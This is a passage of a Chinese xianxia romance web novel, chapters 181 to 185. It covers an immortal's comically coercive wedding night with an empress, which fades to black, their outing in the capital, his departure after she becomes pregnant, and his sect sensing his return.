红纱遮面,却遮不住那双含情脉脉的眸子,每走一步,金线绣制的凤凰展翅高飞。 这一刻,慕长歌心头苦笑,自己一个修士,居然体验了次凡俗婚礼,就是不知水月她们知道了,会不会给他点赌毒以外的颜色瞧瞧。 “送入洞房!” 随着礼官一声高喝,就听王有德那厮又喊。 “等等,还没喝合卺酒呢。” 他端酒上前,看向昭阳,“陛下,监正大人担心药效不够,所以又加了瓶软仙香!” “……” 慕长歌非常确定,王有德上辈子绝逼是他仇人。 第181章 银鞭轻舞落红妆,月隐云层窥凤帐 红烛摇曳,喜帐低垂。 寝宫内弥漫着淡淡的龙涎香,混合欢着合欢花的甜腻。 慕长歌被特制的金丝红绸绑在龙榻死角,呈大字型仰躺。 那绸缎看似柔软,实则坚韧无比,上面绣着龙凤呈祥,显然昭阳早有准备,又可以说蓄谋已久。 吱呀—— 殿门被推开,昭阳一袭大红嫁衣,缓步而入。 她已摘了凤冠,乌黑长发如瀑布垂落,发间只簪了一支金凤步摇,随着步伐晃动,声音清脆。 “夫君~” 她指尖抚过床柱上缠绕的红绸,“这布置可满意?” 满意? 非常满意! 哼哼! 慕长歌鼻孔喷出两道热气。 他无奈地挣了挣手腕,“夫人,我又不跑,你这成何体统,还不给我解开?” 这女人真是没完没了。 洞个房而已,至于把他捆成这样?! 昭阳轻笑,纤纤玉指挑起他的下巴。 “不好呢~” 她俯身在他耳边吹一口香气,“夫君看着很不情愿呢。” 情愿? 哪个被绑成螃蟹,能心甘情愿的? 可不得不说,此刻的昭阳极美,且极具妖娆之姿。 那温热的气息,带着淡淡的酒香,让他的喉结,不自觉地滚动了一下。 “为了我神煌王朝的未来,昭阳今夜不得不委屈了夫君。” 她指尖顺着他喉结下滑,触摸着慕长歌衣袍上的一颗盘扣,“还望夫君理解,昭阳只是不想出意外。” 第二颗盘扣应声而开。 “夫君为仙人,我知道留不住你。” 第三颗盘扣松开,彰显出精壮的胸膛。 她扬起的红唇在烛光照耀下,闪烁着迷人光泽,“但,我会尽自己最大努力,多留上你一些时日。” 昭阳的手背,拂过他脸颊,“如今我虽贵为女帝,可也是个女人,又有哪个女人,不想将夫君留在身边呢?” “……” 啪! 一声脆响在寝宫内回荡。 慕长歌瞪大眼睛,这女人竟然从袖中抽出一条...鞭子?! 那是一条通体银白的软鞭,鞭身缠绕着细细的金线,在烛光下闪烁着危险的光芒。 “喂、你想干嘛?” 慕长歌满脸警惕。 昭阳食指点住他的唇,眸光闪烁着妖艳之光,“夫君莫怕,只要你肯听话,昭阳不会对你怎么样的。” 就这? 还没怎么样! 那你想怎样? 随后,慕长歌呼吸一滞。 昭阳玉臂轻展,大红嫁衣如花瓣层层剥落,委顿于地。 烛光下,一件薄如蝉翼的纱衣,凸显着曼妙曲线。 她赤足踏上龙榻,俯身在慕长歌一侧,“夫君,春宵一刻,你我该做点什么了~” 大红床幔无声垂落,将龙榻笼罩在一片朦胧光晕中。 烛光摇曳,轻纱自帐内飘出,似蝶翼般轻盈落于地毯。 帐内有细碎声响,金丝红绸跟着颤动。 啪! 一支红烛爆了个灯花,映得床幔上的龙凤呈祥好似活了过来。 窗外,一轮明月悄悄躲进一半云层。 夜风拂过廊下的宫灯,将光影搅得支离破碎,守夜的宫女站在殿外,个个面红耳赤地低着头。 …… 相府庭院内,虫鸣声此起彼伏。 夜晚的风掠过花丛,带起细碎花雨。 苏月瑶一袭淡紫色长裙,站在那棵海棠树下,月光透过枝叶缝隙,在她身上洒下斑驳光影。 “小姐,夜深了,您该休息了。” 小桃提着灯笼走来,裙摆被风吹得摆动。 苏月瑶抬手指向夜空,“你看上面。” 小桃仰头望去,只见一轮明月被云层遮住了半个。 不就是月亮么。 小姐想什么赏月不行,而且今晚这月色并不美啊。 苏月瑶眼中,那轮明月变成了半通明的镜子,倒映着两道亲密相拥的身影。 她不自觉地攥紧了帕子,“今夜...他们在洞房。” 小桃顺着她的视线望去,只看到一片云彩飘过月亮,暗自叹了口气。 “今天是咱们神煌王朝的大喜之日,也是小姐的大喜之日。” 她笑着道,“您被封了安国郡主,这份殊荣独一份,小姐难道不开心?” “开心。” 苏月瑶转过身,月光下她的笑容格外明媚。 小桃盯着她红彤彤的眼睛看了半晌,“呃...还真没看出来。” 噗! 苏月瑶这声笑,眼泪却跟着掉了下来,“你这丫头,怎么这么实诚?” “小姐别哭啊!” 她手忙脚乱地抓出帕子,“小桃这就去给您拿壶酒来!” “等等。” 苏月瑶娇嗔着翻个白眼,“深更半夜的,拿什么酒。” “嘻嘻。” 小桃咧嘴一笑,放下手里的灯笼,变戏法似的从袖中掏出一个酒壶,“奴婢早就备好了。” “……” 这丫头什么时候这么机灵了。 嗯。 奇怪。 自家小桃越看越顺眼是怎么回事。 不知为何,小桃忽然觉得怕怕的,她赶忙扯着苏月瑶来到石凳旁坐下,掀开扣在上面的杯子。 “小姐,这可是老爷珍藏的好酒,仅此一壶,我趁他喝醉,偷偷给您拿来的呢。” “……” 苏月瑶翻了个白眼,这丫头胆子真是大,就不怕被她爹爹知道了,狠狠一顿责罚? 小桃咧嘴一笑,“小姐,咱们呐就放心的喝,等到老爷发现了,我就说他自己喜酒没喝尽兴,回来就把自己的珍藏美酒给喝了。” “……” 以前怎么没发现,他们家丫头能激灵到这等程度。 苏月瑶接过酒杯,一饮而尽。 辛辣的液体滑过喉咙,呛得她直咳嗽。 小桃忙拍她的背,“小姐慢点喝,这酒后劲可大了。” 果然,没过多久,苏月瑶的脸就红了起来。 她晃着酒杯,眼神迷离,“小桃,你说,我是不是很傻?” “小姐可是咱们王朝最聪明的贵女。” 小桃义正言辞,转而道,“就是傻的不怎么明显。” “……” 安慰得很好。 下次别再安慰了,她怕忍不住打死这个丫头。 “跟表姐比起来,我的确不算什么。” 苏月瑶苦笑,“是我先遇上的他又如何,机会雨点般向我打来,我靠着灵活走位,完美地避过。” 呃... 小姐这后知后觉的劲头,她简直不想点评。 不过...也不能全怪小姐,主要怪老爷! 要不是他从小要求小姐知书达理,注重仪态什么的,小姐又怎会落得个单相思。 仪态什么的,在真爱面前...呵...tui! “小姐,有句话奴婢不知该不该说。” 小桃犹豫地看了眼苏月瑶,深呼吸道,“其实无论您怎么做,最后的结果都是输。” 望着她不解的眼神,小桃继续道,“当然了,您能获得仙师的好感,对我们整个相府是有好处的,可是...” “小姐,不属于咱们的东西,您去争抢没有任何意义,仙师迟早会离开,陛下她又是软仙香,又是捆仙锁的...” “其实只要仙师不愿,这些东西根本不可能困住他,这点咱们陛下心知肚明。” 小桃的表情逐渐严肃,“她这么做,是想让仙师少了自我负担,毕竟是陛下主动的。” “所以这是您真正输,又让仙师真正倾心于陛下的地方,再有就是,一段没有任何结果的感情,不如开始之前就结束。” 她举杯,“小姐,这杯小桃陪你,等咱们喝完了,我把空酒壶放回老爷手里,这样他就抓不到咱们了。” “……” 第182章 屋顶密语诉童年,女帝展露少女心 翌日,阳光正好。 昭阳早早地去上了早朝,慕长歌伸了个懒腰,拉开寝宫大门。 他活动了下腰背,望着湛蓝的天空,心情大好。 “叮!恭喜宿主与气运之女昭阳完成首次双修,并获得龙皇之气,领悟龙皇之道,当前修为:化神九十五阶。” “昭阳气运值提升至150000万,已尽数返还宿主,本统已解除修为禁锢,宿主灵力恢复。” “特别提示,为确保子嗣融合真龙血脉,建议再来一次,奖励:神秘大礼包一份,内含龙精虎猛丹十枚!” “……” 蚊子都没系统这狗东西能吸血。 他也不忍心直接离开,决定陪伴昭阳一些时日。 他发誓,绝对不是因为昭阳巧舌如簧。 更不是昭阳会狮子舞,关键是他懂得欣赏艺术,既是艺术,又岂容辜负了? 走出没多远,拐角处传来一阵急促的脚步声。 王有德带着队黑甲卫在附近巡视,他有令在身,就算什么都不做,朝也无需上,就是要把帝君看护好。 此刻,他陡然停住脚步,与笑吟吟的慕长歌彼此对视。 到底是仙师啊,喝了那么多软仙香,又有监正大人特意打造的那个鲛绡,也就是昨晚绑住慕长歌的红绸。 那东西水火不侵,根本挣不脱,但还是给挣脱了。 不好! 仙师他会飞啊! 王有德立即反应过来,大喊道,“来啊,别让帝君跑了,速速绑了带回陛下寝宫!” 嗖! 慕长歌探手,一道红色流光飞出,正是昨晚的红绸,将王有德绑成了粽子。 他的身影消失原地,让冲过去的黑甲卫们扑了一空。 “帝、帝君,早上好啊。” 王有德噙着讪笑,背后冒出冷汗,“这是个误会,你信不?” 他只看到慕长歌在拳头上吹了口气。 砰! 那拳头砸在了左眼上,顿时成了青色。 他被打得晕头转向,哭丧着脸求饶,“帝君饶命啊,末将只是奉命行事。” 接下的一幕,让所有黑甲卫看傻了眼。 堂堂镇北候王有德,被人按在地上左右开弓,拳头如雨点般落下,每一下都伴随着杀猪般的嚎叫。 这场单方面的教育,持续了足足一刻钟,等慕长歌停下手,王有德那张脸肿成了猪头。 “侯爷,可记住了,莫要小人得势!” 慕长歌活动着手腕警告。 王有德点头如捣蒜,“记住了记住了!” 这是在警告他,今后不得做一个谄媚之臣。 可这个时候,真要表现出知错,那才是真正的大错,反而谄媚些,更能让人放心些。 关键的是,让帝君打他一顿,出出气,事过去了,也就了结了。 “哦?” 慕长歌笑眯了眼,“侯爷记住什么了?” “呃...” 王有德下意识道,“谢帝君赐打!末将昨夜的酒彻底清醒了。” 嘿! 这厮真是个天生的谄媚。 眼见慕长歌正要补上两拳,王有德连忙蜷缩了起来。 “夫君,大清早的,这是在做什么?” 慕长歌回头,昭阳站在了廊下,一袭龙袍雍容华贵,笑吟吟地看着他们。 “闲来无事,打个侯爷玩玩。” 他的笑极为璀璨,看在王有德眼里,那就是恶魔的微笑。 昭阳莞尔,“既然夫君烦闷,那我去换身衣服,索性我们一起出去逛逛可好?” 对此,慕长歌自然不会拒绝。 又见昭阳走到王有德近前,“王卿,脸可还疼?” “多谢陛下关心!” 王有德感动得热泪盈眶,“这点小伤末将...嗷!” “现在对称多了。” 昭阳收回拳头,若无其事地甩了甩手。 王有德:“……” 这对夫妻打人也要成双成对是吧?! 昭阳换了一身素雅的鹅黄色长裙,发间只簪了一支白玉簪子,褪去龙袍的她,少了几分威严,多了些灵动。 她挽着慕长歌的胳膊,两人像寻常夫妻漫步在皇城街头。 “夫君,我要那个。” 昭阳停下脚步,指着路边一个卖葫芦的老丈。 那位老丈拿着插满糖葫芦的草靶,吆喝着招揽生意。 慕长歌走上前,那些裹着晶莹糖衣的山楂红得发亮,煞是好看,“老丈,来一串。” “客官,一文钱。” 老丈眉开眼笑,麻利地取下一串递了过去。 慕长歌转身递给昭阳,正要付钱时突然僵住,他忘了自己这次没兑换些凡界的货币,身上只有灵石。 “那个...你带钱没?” 他尴尬地凑近昭阳耳边问道。 昭阳眨眨眼,无辜地摇头,“人家出门从不带钱。” “客官,那这糖葫芦您还要不要?” 此刻,老丈的笑容渐渐消失,甚至有几分鄙夷。 这位公子哥看穿衣打扮不似普通人,还有旁边那位姑娘,一看就是大家闺秀。 可惜眼神不太好,嫁了个连一串糖葫芦都舍不得买的夫君。 “呃...” 慕长歌正要回话,却见昭阳二话不说,直接咬下了一颗,又冲着他眨着眼,示意他自己想办法。 “……” 这女人绝逼故意的! 慕长歌翻了个白眼,区区一文钱,能难倒他堂堂仙师? “老丈,你的所有糖葫芦我都要了,不过我要验货。” 那人一听大生意上门,递过整个草靶,“客官,您随便验!” “嗯,不错。” 慕长歌像模像样地检查了几串,突然一把拉起昭阳的手,“跑啊!傻妞!” 昭阳还没反应过来,就被拽着飞奔起来。 老丈愣在原地,眼睁睁看着两人消失在街角,半晌才反应过来,气得直跺脚。 “站住!不要跑,来人啊,有人光天化日抢东西啊!” 街上的行人纷纷侧目,却见那强盗跑得飞快,身后还跟着个笑得花枝乱颤的姑娘。 两人一路狂奔,直到拐进一条小巷才停下。 昭阳扶着墙,笑得直不起腰,“堂堂仙师,居然抢糖葫芦,哈哈哈....还抢了人家一整个草靶!” “好笑吗?” 慕长歌白眼道,“再笑就把你抵给那老丈。” 昭阳吐了吐舌,眼角眉梢还是掩不住笑意,她晃了晃手中咬了一口的糖葫芦,“夫君要不要尝尝?” 慕长歌哼了一声,凑过去咬了一颗,糖衣在嘴里破裂,酸甜的滋味让他眉头舒展。 “好不好吃?” 昭阳歪着头问。 慕长歌故作冷淡,“还行。” 她踮起脚,在他唇上轻啄了一下,“这样呢?” “少来这套,还钱要紧。” 他晃了晃手里的草靶,“小娘子,随我赚钱去。” 昭阳诧异的是,她的男人,身份高贵的仙师,神煌王朝的帝君,当真卖起了糖葫芦。 而且,以一种极其恐怖的速度全部卖给了一家青楼的女子。 慕长歌晃了晃手里的铜板,足足七八十文钱,这可远超那些糖葫芦的价值。 待那老丈找来,慕长歌付了他三十文钱,又悄悄塞给他一样东西。 老丈拿着光秃秃的草靶走了,只是觉得哪里不对,又说不出来。 街道某处,屋顶上。 昭阳靠在他怀里,小口小口吃着糖葫芦。 “小时候,父亲曾这样给我买过糖葫芦。” 慕长歌低着头,看到她眼中闪过一丝黯然,“那个时候,每年上元节,他都会偷偷带我出宫,后来...就再也没有给我买过。” 第183章 汉白玉像立皇城,万民争颂仙师名 “等着。” 他身影消失,再回来时,手里拿着个插满糖葫芦的草靶。 昭阳瞪大眼,“哪来的?” 顺着他手指的方向望去,这才发现街上一名小贩摸着头,正在找自己的糖葫芦。 而后,慕长歌屈指一弹,一枚闪着灵光的石头,掉落在那小贩脚下。 小贩如获至宝,捡起灵石就跑,也不想自己丢掉的糖葫芦了。 慕长歌恣意一笑,“从今往后,你想吃多少就有多少。” “傻子。” 昭阳噗嗤一笑,接过草靶,抽出一串塞进慕长歌嘴里,“罚你陪我吃完。” 两人你一串我一串,偶尔对视,皆是笑意盈盈。 这一刻,她不是女帝,他也不是仙师。 只是两个偷糖葫芦的‘小贼’。 昭阳依偎在他怀里,指尖摩擦着糖葫芦的竹签,多么希望时间能永远停驻在这一刻。 没有朝堂纷争,没有家国重担,只有她与心爱之人,似这世间最普通的夫妻,一起分享一串糖葫芦。 “夫君。” 她轻声呢喃,声音里带着几分撒娇的意味,“我们就这样一直待着好不好?” 慕长歌低头,看到她眼中闪动着柔软光芒。 这一刻的女帝,褪去了所有锋芒,跟个渴望得到宠爱的小女孩一般。 “好。” 他轻声应道,将她搂得更紧了些。 昭阳闭上眼,感受着他胸膛的温度。 这样的时光终究短暂,但至少此刻,可以暂时忘记自己是一国之君,只做他的妻子。 …… 时光如白驹过隙,转眼已是三个月后。 皇城内外传遍了一个令人振奋的消息。 ——女帝有喜了。 这一日,太和殿外,春风拂面。 昭阳身着宽松的龙袍,小腹已微微隆起。 她站在白玉台阶上,望着眼前即将远行的慕长歌,眼神满是不舍。 “夫君。” 她轻抚腹部,声音温柔得不像话,“走之前可有话要嘱咐我们未曾出世的孩儿?” 慕长歌沉思片刻,目光落在她隆起的腹部,那里正孕育着他们的骨肉。 半晌后,他缓缓开口,“为天地立心,为生民立命,为往圣继绝学,为万世开太平。” 昭阳微微一怔,随即眼中泛起泪光。 这是何等宏大的期许,又何其符合她对孩子的期望。 慕长歌忽然咧嘴一笑,伸手轻点她的鼻尖,“另外,告诉这小崽子,将来做好他的君王,他老子还要早日带着他娘亲私奔呢。” 噗嗤! 昭阳含泪而笑,那笑容明媚,如初春的阳光。 她踮起脚尖,在慕长歌唇上落下一个轻吻,“夫君再不走,我就舍不得了。” 她转过身,似是不忍看他离去。 慕长歌将她拉入怀中,紧紧抱着,他能感受到腹中那个小生命的脉动,那是他与昭阳血脉的延续 “有了身孕,今后不要太累。” 他在她耳边低语,声音沙哑,“我给你的功法要好好参悟。” 三个月前,慕长歌将系统奖励的九龙帝王诀,传给了昭阳。 此功法与她体内的龙皇之气相辅相成,不仅能助她脱胎换骨,更能反哺腹中胎儿。 待孩子出生之日,也将是昭阳修为大成之时。 昭阳在他怀中点头,发丝间的清香萦绕在慕长歌鼻尖。 “这个给你。” 他拿出一块雕刻着九条栩栩如生金龙的玉佩,“若遇危险,捏碎它。” 昭阳接过玉佩,指尖拂过那精致的龙纹,心中既甜蜜又酸楚。 她强忍着不让眼泪落下,却控制不住声音的颤抖,“昭阳在此以神煌王朝女帝之身份,恭送...仙师...” “我等恭送仙师!” 群臣行跪拜之礼。 一道流光冲天而起,转眼消失在云端。 直到感应不到慕长歌的气息,昭阳才缓缓转身,望着他离去的方向,泪水终于夺眶,顺着脸颊滑落。 她轻抚腹部,低声道,“孩儿,将来你要像爹爹一样,做个了不起的人。” 昭阳擦干眼泪,重新挺直腰背。 此刻的她,又是那个威震八方的神煌女帝,只是手中紧握的玉佩,泄露了她内心最柔软的部分。 …… 皇城中央广场。 一座高达两丈的汉白玉雕像巍然矗立。 雕像面容俊朗,衣袂飘飘,手持一柄长剑直指苍穹,正是慕长歌的模样。 一位老者拄着拐杖,仰望着雕像感叹道,“这就是斩邪灭魔,帮助咱们女帝拯救神煌的仙师啊!” “听说仙师一剑就斩了那乌云魔尊呢。” 旁边的小童兴奋地比划着,“我爹说那天整个皇城,都看到了金光!” “何止这些啊!” 一个商贩插嘴道,“我表兄啊在宫里当差,据他说这位仙师是被咱们女帝陛下强行拿...呜呜!” 话未说完,就被同伴捂住了嘴,“慎言,仙师和女帝也是你能议论的,人家那叫天作之合!” 人群外围,卖糖葫芦的老丈,正仰头望着雕像。 咦? 这不是抢我糖葫芦那人么? 他揉了揉眼睛,又仔细看了看雕像的面容,猛地倒吸一口凉气。 嘶! 他居然就是仙师! 那这么说,那日跟在他旁边极具贵气的女子就是... 天呐!是女帝! 老丈放声大笑,“哈哈哈,仙师和女帝吃了我的糖葫芦!” 周围人纷纷投来鄙夷的目光。 “这老头疯了吧?” “仙师和女帝陛下什么身份,会吃糖葫芦那种东西?” “就是,做梦呢!” 老丈也不恼,得意地捋着胡子,“你们懂什么,那日仙师不但买了我的糖葫芦,等我回去后,你们猜怎么着?” 望着众人的好奇,他从怀里掏出一块莹润的石头,在阳光下闪闪发光,“这个就是仙师偷偷塞给我的,也怪我早些没发现,唉。” 众人顿时哗然,有识货的立刻认出那确实是仙家之物,老丈顿时成了艳羡的对象,连腰板都挺直了几分。 不远处,一名身着青色纱裙的女子正望着雕像出神。 “姐姐,那不是...” 身旁的粉衣少女刚要开口,就被青衣女子一把捂住嘴巴。 早知他是仙师,说什么也要沾沾他的仙气,以此洗刷一下尘世中的俗气。 随即,青衣女子打了个寒颤,幸好那日只是见那位公子仪表堂堂,没有其他逾越之举。 想到跟在仙师身边的女子,极有可能就是女帝,她后怕不已,倘若拉扯女帝的男人进青楼... 还是当着女帝的面,这罪名她连想都不敢想。 “姐姐你怎么了?” 粉衣少女关切地问,“手这么凉?” “没什么。” 青衣女子摇着头,“就是突然觉得...活着真好。” “……” 雕像下方,一群孩童玩耍。 其中一个扎着羊角辫的小女孩指着底座上镌刻的文字,奶声奶气地念道。 “神煌王朝永世铭记仙师之恩,神煌第十五任君王昭阳立!” 女孩看向男孩,“哥哥,谁是昭阳啊?” “当然是咱们的女帝陛下。” 男孩敲了下妹妹的头,“虽然女帝陛下不介意,但还是不要直呼名讳,她和仙师拯救了神煌王朝,是我们的英雄!” 微服出巡的昭阳,正巧听到这番话,她轻抚腹部,换了一身素雅衣裙,戴着面纱,就是想看看百姓对雕像的反应。 “表姐,咱们该回宫了。” 苏月瑶搀扶着她,小声提醒,“太医说了,你不可以久站的。” 昭阳点点头,最后望了一眼雕像,转身离去时,夕阳将她的影子拉得很长,恰好与雕像的影子重叠在一起,仿佛两人并肩而立。 夜幕降临,人群渐渐散去。 月光下,雕像更显神圣庄严。 第184章 海棠树下姐妹谈,女帝戏言诛妹心 夜色渐深,皇城街道上行人渐稀。 那名老丈小心翼翼地将灵石揣进了怀里,且时不时低头看上一眼,生怕它长翅膀飞了似的。 他可是问过一些懂行的人,那人告诉他这叫灵石,是可以用来修行的宝物,内含天地灵气。 他们这些不能修行的人,只要带在身上,就有驱邪避凶之效。 很快,老丈走进一个拐角,一个身材魁梧的大汉与其走了个正着,撞倒了他。 “老东西,走路没长眼睛啊?” 大汉恶狠狠骂道,“晦气,呸!” “站住!” 一声厉喝从巷口处传来。 大汉浑身一僵,缓缓转身,只见王有德身着黑甲卫统领服饰,腰配长刀,正冷冷地盯着他。 “把身上的东西交出来!” 王有德沉声道。 大汉额头渗出冷汗,“什、什么东西?大人明鉴,小的只是路过....” “跟我装糊涂?” 王有德大步向前,捏住了大汉的手腕。 那人惨叫一声,手掌不由自主地松开,灵石啪的掉落在地。 王有德弯腰捡起灵石,拍了拍上面的灰尘,“你们这些宵小之辈,还以为是先帝在位的时候?敢在皇城干这些偷鸡摸狗的勾当!” “大人饶命,小的再也不敢了!” 大汉扑通跪地,连连磕头。 王有德瞥了眼赶来的几名黑甲卫,“把这厮给我压进天牢,好好长长记性!” 两名黑甲卫驾起面如土色的大汉就走。 王有德将灵石还给老丈。 “老人家,这可是仙师赐予的宝物,您要好生保管才是。” 他压低声音,“财不外露的道理,您老比我懂。” “多谢大人,老汉这就回去,把这个当传家宝供起来。” 要走时,王有德叫住了他,“那个...仙师和女帝真的吃过您的糖葫芦?” “那还有假?” 老丈顿时来了精神,挺直了腰板。 王有德凑了过去,脸上的严肃全然不见,反而洋溢着贱笑,“不知我可否向您讨教一下这糖葫芦的做法?” “好说好说。” 老丈笑得牙不见眼,“老汉的铺子就在西市,大人有空随时过去。” 送走了老丈,王有德笑得逐渐谄媚。 女帝有了身孕,想来更爱吃那些酸酸甜甜的东西,他若是学会了做这个,那不就...嘿嘿... 他看到辉煌大道正在向他招手,届时等到帝君回来,说不定还能教他些仙术什么的。 有名黑甲卫见他傻笑,虽不明所以,却还是凑了过去。 “统领,您如今贵为侯爷,怎么还亲力亲为做这些巡查之事?” 其中一人问道。 王有德面容恢复严肃,“哼,什么身份?我这侯爷就是个屁,那是陛下的恩典,更何况巡查本就是我职责所在,守护百姓更是我等应尽的义务。” 他抬头看天,叹了口气,“人啊,任何时候都不能忘本,哪怕那些权贵,往上翻几辈,何尝不是穷苦人出身?” “仙师那样的人物,都把咱们这样的平凡人看在眼里,何谈我们呢?” 王有德转过身,一脸严厉,“全给我记住了,我们黑甲卫就是陛下对外的脸面,谁敢给我欺压百姓,被我知道了没他好果子吃!” “安排两个人,去给我守护好帝君的神像,他是咱们神煌王朝的神!” …… 夜色如水。 皎洁的月光洒在皇宫庭院中。 昭阳一袭素白长裙,站在海棠树下仰望着夜空,保持了这个姿势将近一个时辰。 “小姐,这才过去一天,女帝陛下就成望夫石了。” 小桃凑到苏月瑶耳边,压低了声音。 苏月瑶扯了她一下,“死丫头,不许瞎说,我去劝劝表姐。” 她从小桃手中接过食盒,轻手轻脚走到昭阳身边。 “表姐,喝些参汤吧,太医说你现在需要多补补。” 昭阳没有回头,依然望着月亮,“月瑶,你是不是喜欢他?” 啪嗒! 苏月瑶手中的汤勺掉落。 “仙师那样的男人,谁人不爱呢?” 她勉强一笑,随即又补充,“可能配得上他的女人,也就是表姐这样的天之骄女了。” “其实我跟他提过。” 昭阳终于转过头,来到了石桌旁落座。 月光下,她的表情似笑非笑。 苏月瑶心跳如鼓,“提过什...么?” “毕竟我有孕在身,有些事不是很方便。” 昭阳看着她,一番打量,“就想着肥水不流外人田,让你代我服侍他。” “表姐!你..说什么呢,我怎么能做那种事?” 苏月瑶涨红了小脸,手足无措地绞着衣角,却忍不住抬头问道,“然后呢?” 小桃无奈扶额。 自家小姐只要提起那位仙师,就变成傻子了。 这岂不是不打自招,万一女帝心存芥蒂怎么办? 这表情,脑门上就差刻着喜欢两个字了。 昭阳叹了口气,“哪有什么然后,昨日说完,今日他就逃了。” “……” 呜呜呜,不带这样的。 我好心来陪你,转手就给我个暴击伤害,还是不是亲表姐了.... 小桃看着自家小姐垮下来的神情,真想说出炮灰两个字。 堂堂相府嫡女,一直这么傻下去也不是个办法,要不考虑一下,给自己换个主子服侍算了。 操碎了桃心... “突然心情好了许多,谢谢你,月瑶。” 昭阳拍了拍她的肩膀,感叹道,“果然啊,关键时刻,只有自家人派得上用场。” 望着昭阳走进寝宫的曼妙身影,苏月瑶眼眶红红的,真想问上一句—— 表姐,你礼貌么? 这么做你的良心痛不痛? “小桃,你在干嘛?” 苏月瑶望着跪拜月亮的小桃问道。 小桃双手合十,郑重且无比严肃地磕了几个头说道,“我在求月宫仙子,给小姐您换个脑子,也好变聪明一些。” “……” 不是? 小桃,你礼貌吗? 更绝的是,小桃一边倒了碗参汤,一勺一勺地往呆滞中的苏月瑶嘴里喂着,且念叨,“喝吧喝吧,真正该补补的是小姐您了。” 不知怎么的,苏月瑶眼眶越来越红,哇的一声推开小桃跑开了。 “小姐,你还没喝完呢!” 小桃喊着,又看了眼参汤,浪费可耻。 她一口咽下,追了过去,“小姐,你等等我啊!” 奇怪。 这参汤的味道怎么酸酸的。 昭阳倚在雕花窗前,望着那对活宝主仆追逐的身影,终于忍不住笑出声,在静谧的夜色中格外动人,连带着寝宫明亮了几分。 贴身侍女青鸾端着安胎药走了进来,看到女帝的笑不由得一怔。 昭阳转过身,嘴角还噙着未散的笑意,“青鸾,你说月瑶那丫头是不是傻得可爱?” “呃...安国郡主天真烂漫。” 她斟酌着用词,生怕说错话,惹得女帝不开心。 昭阳接过药碗,“那丫头从小就这样,只要害羞了就到处跑,嗯...这药怎么比昨天的还苦,去,把朕珍藏的蜜饯拿来。” “陛下,太医嘱咐过,服药后半个时辰才能吃甜食。” 昭阳瞪了她一眼,“朕就是看看。” 不一会儿,一个精致的琉璃罐摆在了桌子上。 昭阳眼巴巴看着,喉头不自觉地滚动了一下。 青鸾实在看不下去了,“要不,奴婢去请太医改一下药方?” “算了,为了孩子。” 昭阳恋恋不舍地把目光从蜜饯上离开,“小东西,你爹要是知道你娘连口蜜饯都吃不上,肯定心疼死了。” 她看着自己隆起的腹部笑了笑,而后看向了窗外。 不知他到了哪里? 第185章 破天峰上玄鸟鸣,碧霄震动迎仙归 三日后。 皇宫内,昭阳下了早朝,又一次喝完了那碗苦汤药,正对着蜜饯罐子望眼欲穿。 窗外,传来一声闷响,接着是苏月瑶的惊呼。 昭阳疑惑走到窗前,庭院里,苏月瑶和小桃正围着一只通体雪白的灵鸟。 那鸟足有鸽子大小,羽毛在阳光下泛着光泽,歪着头打量着她们,瞳孔倒映着昭阳的影像。 片刻后,灵鸟展开翅膀,一道流光从它体内飞出,在空中凝结成一行字。 “安好,勿念,糖葫芦已备,等我回家。” 字迹潇洒飘逸,正是慕长歌的手笔。 昭阳怔怔地看着这行字,眼泪不受控制地滚落。 她伸手想要触碰那些光字,它们却化作点点星光,萦绕在她指尖,久久不散。 “表姐...” 苏月瑶轻声唤道。 昭阳回过神,抚摸着腕间,“他说,这叫姻缘红线,可以让我们感应到彼此,这样我就能知道,他是否安好。” “……” 苏月瑶酸酸的,又是一次无形的暴击。 天定的缘分,她还能说什么呢,上次在相府就羡慕过了。 只是,她也没想过,昭阳有朝一日会陷入情劫。 不过,看到她脸上洋溢的笑,苏月瑶由衷为她开心。 …… 碧霄宫,破天峰,一道璀璨的气息冲天而起。 冰火交织的玄鸟法相在虚空中展翅长鸣,清越的鸣叫声穿透云层,引动方圆百里的飞禽纷纷应和。 啾! 玄鸟法相双臂一振,漫天冰晶簌簌落下。 碧霄宫上下,所有修士都感到了这股异样波动。 天剑峰。 雷烈正指导弟子们练剑,忽觉一股寒意袭来,他猛地抬头,停顿了动作。 不远处,冷清霜,白芷,陆婉莹,林婉儿几人同时仰望着那道冲天光柱。 神器峰。 杨铁心惊愕抬头,手中的锻造锤突然变得滚烫。 他身旁的苏清浅,亦是抬起了头,远远地注视着,眉头微蹙。 丹峰。 药尘子正带着沈落雁在灵药圃中采摘药草。 “落雁,把你新采摘的百灵草给为师看一下药效如何?” 沈落雁应了一声,头也不回,直接掏出一枚丹药递了过去。 直到听到砰的一声,看着满身焦黑,白色毛发漆黑且冒着黑烟,这才知道自己不小心又拿成了爆裂丹。 于是师徒俩又展开了一场爆裂丹的较量,轰鸣声不绝于耳,看呆了丹峰众弟子。 师徒追赶中,又有不少人遭了殃,整个丹峰人影翻飞,乱成了一团麻。 与此,就连闭关中的妙音仙子,掐诀中的手指,下意识地动了动,又扬起了唇角。 破天峰,广场。 沈碧瑶快步来到苏沉鱼身边,“师姐,那是?” “如此异象,师尊要出关了。” 苏沉鱼眼神凝重,可是什么事,能让师尊心绪如此悸动,她美眸陡然睁大,“师妹,你在此领悟剑阵,我去找师尊!” 她身形一闪,来到水月闭关的结界前。 感受到里面愈发躁动的气息,苏沉鱼毫不犹豫地变身女武神形态,肌肉隆起,手持狼牙棒就要砸开结界。 然而,不等她付诸行动。 结界自行开启,一道倩影如闪电冲出,将她掀翻在地。 苏沉鱼哎呦一声,摔了个四脚朝天。 等她回过神,水月早已化作流光消失在天际,只有清冷的声音回荡,“在此守候。” 沈碧瑶匆匆赶来,连忙扶起变回原样的苏沉鱼。 “师姐,师尊这是...” “或许...前辈要回来了...” 苏沉鱼仰望着天际,眼中闪烁着兴奋。 闻言。 沈碧瑶娇躯轻颤,天际已经看不到水月的身影,只有几片冰晶缓缓飘落。 大殿外。 一道倩影笔直而立。 叶灵曦身着翠色长裙,修长的美腿,在裙摆间若隐若现,神色若有所思。 “师姐。” 清冷的声音从身后传来,叶灵曦转身,看到水月凌空而立,衣袂飘飘。 “师妹,出关了?” 叶灵曦展颜一笑,如春风拂面。 水月轻盈落地,微微颔首,“师姐不也是?” “似有所感,也就出来了。” 叶灵曦望向远方,“师妹呢,因何出关?” “他回来了。” 水月语气平静,指尖不自觉地攥紧了衣袖。 半年了... 这是她第一次觉得,时间如此漫长。 叶灵曦眸光微动,“是啊,终于回来了。” 她轻抚胸口,那里传来一股悸动。 想起自己曾立下的誓言,待他归来,便将自己完全交给他,成为真正的道侣,叶灵曦脸颊不由得泛起红晕。 